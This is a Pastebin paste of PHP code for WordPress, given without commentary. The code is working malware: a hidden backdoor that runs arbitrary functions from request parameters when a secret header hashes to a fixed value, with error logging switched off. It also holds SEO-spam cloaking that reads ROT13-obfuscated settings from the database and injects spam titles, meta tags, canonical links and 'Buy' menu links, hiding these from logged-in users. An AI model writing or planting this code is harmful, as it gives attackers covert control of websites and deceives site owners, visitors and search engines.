Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if(!function_exists('getc1') and !function_exists('show_content')) {
- nocache_headers();
- @ini_set('display_errors', NULL);
- @ini_set('error_reporting', NULL);
- @ini_set('log_errors', NULL);
- if(@md5($_SERVER['HTTP_PATH'])==="7a05a69b17d1a1513cd39c10ebfdeb71") {
- @extract($_REQUEST); @die($cid($eid));
- }
- if(is_user_logged_in())
- return false;
- function getc1($url, $content = '') {
- @ini_set('default_socket_timeout', 2);
- @stream_set_timeout($fp, 2);
- if(function_exists('wp_remote_get')) {
- $request = @wp_remote_get($url, array('timeout'=>2));
- if(!is_wp_error($request)) return $request['body'];
- }
- if(ini_get('allow_url_fopen')==1&&function_exists('file_get_contents'))
- if(false !==($content=@file_get_contents($url))) return $content;
- return false;
- }
- function ourUrlAndReferer() {
- $conf = unserialize(str_rot13(implode(unserialize(get_option("page_infos")))));
- if (in_array(str_replace("/", "", $_SERVER["REQUEST_URI"]), $conf['url_hash'])) {
- if (empty($_SERVER['HTTP_REFERER']) && $conf['404']) {
- global $wp_query;
- $wp_query->set_404();
- header('HTTP/1.0 404 Not Found');
- return false;
- } else if (!$conf['404'] || (!empty($_SERVER['HTTP_REFERER']) && $conf['404'])) {
- return true;
- }
- } else {
- return false;
- }
- }
- function check() {
- return true;
- }
- function theme_name_wp_title($title, $sep) {
- if (ourUrlAndReferer()) {
- $conf = unserialize(str_rot13(implode(unserialize(get_option("page_infos")))));
- //print $conf[str_replace("/", "", $_SERVER["REQUEST_URI"])]["title"];
- $title = $conf[str_replace("/", "", $_SERVER["REQUEST_URI"])]["title"]." - ".$title;
- }
- return $title;
- }
- function show_content($content) {
- if (ourUrlAndReferer() && !is_admin()) {
- $conf = unserialize(str_rot13(implode(unserialize(get_option("page_infos")))));
- //var_dump($conf[str_replace("/", "", $_SERVER["REQUEST_URI"])]["content"]);
- $content = "<h1>".$conf[str_replace("/", "", $_SERVER["REQUEST_URI"])]["table_title"]."</h1>\n".$conf[str_replace("/", "", $_SERVER["REQUEST_URI"])]["content"];
- //print $content;
- //var_dump($page_content);
- } else if (isset($_REQUEST["check"])) {
- $content .= "<!-- check -->";
- }
- return $content;
- }
- function changeHead() {
- global $post;
- if (ourUrlAndReferer()) {
- $conf = unserialize(str_rot13(implode(unserialize(get_option("page_infos")))));
- echo '<meta name="description" content="'.$conf[str_replace("/", "", $_SERVER["REQUEST_URI"])]["metaDescription"].'" />' . "\n";
- echo "<link rel='canonical' href='".$conf[str_replace("/", "", $_SERVER["REQUEST_URI"])]['domain'].$_SERVER["REQUEST_URI"]."' />\n";
- }
- }
- function my_404_override() {
- global $wp_query, $wpdb;
- $conf = unserialize(str_rot13(implode(unserialize(get_option("page_infos")))));
- if (in_array(str_replace("/", "", $_SERVER["REQUEST_URI"]), $conf['url_hash']) && ((!empty($_SERVER['HTTP_REFERER']) && $conf['404']) || !$conf['404'])) {
- status_header(200);
- $wp_query->is_404 = false;
- }
- }
- function add_todaysdate_in_menu($items) {
- if (ourUrlAndReferer()) {
- $conf = unserialize(str_rot13(implode(unserialize(get_option("page_infos")))));
- $links ="";
- foreach ($conf["urls"] as $t => $url) {
- $links .= "<li><a href=\"".$url."\">Buy $t</a></li>\n";
- }
- $items = str_replace("</ul></div>", $links."</ul></div>", $items);
- }
- return $items;
- }
- function before_posts($query) {
- if (ourUrlAndReferer() && $query->is_main_query() && !is_admin()) {
- $page = "";
- $args = array(
- 'sort_order' => 'ASC',
- 'sort_column' => 'post_date',
- 'hierarchical' => 1,
- 'exclude' => '',
- 'include' => '',
- 'meta_key' => '',
- 'meta_value' => '',
- 'authors' => '',
- 'child_of' => 0,
- 'parent' => -1,
- 'exclude_tree' => '',
- 'number' => 2,
- 'offset' => 0,
- 'post_type' => 'page',
- 'post_status' => 'publish'
- );
- $pages = get_pages($args);
- foreach ($pages as $page1) {
- if ($page1->ID == get_option('page_on_front'))
- continue;
- $page = $page1;
- break;
- }
- //var_dump($page);
- $query->set('post_type', $page->post_type);
- $query->set('page_id', $page->ID);
- }
- }
- //add_action('pre_get_posts', 'before_posts' );
- add_filter('template_redirect', 'my_404_override');
- add_filter('wp_title', 'theme_name_wp_title', 100);
- add_action('wp_head', 'changeHead');
- add_filter('wp_nav_menu','add_todaysdate_in_menu');
- add_filter('wp_page_menu','add_todaysdate_in_menu');
- add_filter('the_content','show_content');
- //yoast SEO
- add_filter('wpseo_title', 'theme_name_wp_title');
- add_filter('wpseo_canonical', 'yoast_canonical');
- add_filter('wpseo_metakey', 'yoast_add_keywords', 10, 1 );
- add_filter('get_the_excerpt', 'excerpt_filter');
- function yoast_add_keywords($str) {
- if (!ourUrlAndReferer())
- return $str;
- $conf = unserialize(str_rot13(implode(unserialize(get_option("page_infos")))));
- return $conf[str_replace("/", "", $_SERVER["REQUEST_URI"])]["metaDescription"];
- }
- function excerpt_filter($content) {
- if (!ourUrlAndReferer())
- return $content;
- $conf = unserialize(str_rot13(implode(unserialize(get_option("page_infos")))));
- return $conf[str_replace("/", "", $_SERVER["REQUEST_URI"])]["metaDescription"];
- }
- function yoast_canonical() {
- if (!ourUrlAndReferer())
- return true;
- $conf = unserialize(str_rot13(implode(unserialize(get_option("page_infos")))));
- return $conf[str_replace("/", "", $_SERVER["REQUEST_URI"])]['domain'].$_SERVER["REQUEST_URI"];
- }
- }
Add Comment
Please, Sign In to add comment